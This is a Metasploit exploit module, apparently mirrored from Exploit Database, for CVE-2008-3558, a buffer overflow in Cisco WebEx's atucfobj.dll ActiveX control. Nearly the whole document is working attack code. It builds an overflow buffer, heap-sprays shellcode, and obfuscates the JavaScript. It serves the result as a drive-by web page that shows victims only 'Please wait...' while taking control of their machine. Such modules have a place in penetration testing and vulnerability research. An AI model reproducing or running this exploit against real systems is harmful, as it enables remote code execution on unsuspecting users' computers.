Cisco WebEx Meeting Manager UCF – ‘atucfobj.dll’ ActiveX NewObject Method Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16604/

• ##
  # $Id: webex_ucf_newobject.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack-based buffer overflow in WebEx's WebexUCFObject
  				ActiveX Control. If an long string is passed to the 'NewObject' method, a stack-
  				based buffer overflow will occur when copying attacker-supplied data using the
  				sprintf function.
  
  				It is noteworthy that this vulnerability was discovered and reported by multiple
  				independent researchers. To quote iDefense's advisory, "Before this issue was
  				publicly reported, at least three independent security researchers had knowledge
  				of this issue; thus, it is reasonable to believe that even more people were aware
  				of this issue before disclosure."
  
  				NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload
  				into memory unmodified.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Tobias Klein', # initial discoverer
  					'Elazar Broad', # initial discoverer
  					'Guido Landi',# milw0rm exploit
  					'jduck' # metasploit version
  				],
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-3558' ],
  					[ 'OSVDB', '47344' ],
  					[ 'BID', '30578' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/6220' ],
  					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=849' ],
  					[ 'URL', 'http://www.trapkit.de/advisories/TKADV2008-009.txt' ],
  					[ 'URL', 'http://tk-blog.blogspot.com/2008/09/vulnerability-rediscovery-xss-and-webex.html' ],
  					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2008-08/0084.html' ],
  					[ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a00809e2006.shtml' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00",
  					'DisableNops' => true
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Tested with atucfobj.dll v20.2008.2601.4928
  					[ 'Windows Universal', { 'Ret' => 0x0c0c0c0c } ],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Aug 06 2008'))
  	end
  
  	def autofilter
  		false
  	end
  
  	def check_dependencies
  		use_zlib
  	end
  
  	def on_request_uri(cli, request)
  
  		# ActiveX parameters
  		progid = "WebexUCFObject.WebexUCFObject"
  		clsid = "32E26FD9-F435-4A20-A561-35D4B987CFDC"
  
  		# Set parameters
  		fnname = rand_text_alpha(8+rand(8))
  		offset = 232
  
  		# Build the exploit buffer
  		sploit = rand_text_alphanumeric(offset)
  		sploit << [target.ret - 0x20000].pack('V')
  
  		# Encode variables
  		sploit = Rex::Text.to_hex(sploit, '%')
  		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  
  		# Prepare the heap spray parameters
  		spray_num = "0x%x" % target.ret
  
  		# Generate the final javascript
  		js = %Q|
  function #{fnname}()
  {
  try {
  var obj = new ActiveXObject("#{progid}");
  var my_unescape = unescape;
  var shellcode = '#{shellcode}';
  #{js_heap_spray}
  sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);
  var sploit = my_unescape("#{sploit}");
  obj.NewObject(sploit);
  } catch( e ) { window.location = 'about:blank' ; }
  }
  |
  
  		# Obfuscate the javascript
  		opts = {
  			'Strings' => true,
  			'Symbols' => {
  				'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit }
  			}
  		}
  		js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
  		js.obfuscate()
  
  		# Build the final HTML
  		content = %Q|<html>
  <head>
  <script language=javascript>
  #{js}
  </script>
  </head>
  <body onload="#{fnname}()">
  Please wait...
  </body>
  </html>
  |
  
  		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  
  		send_response_html(cli, content)
  
  		handler(cli)
  
  	end
  
  end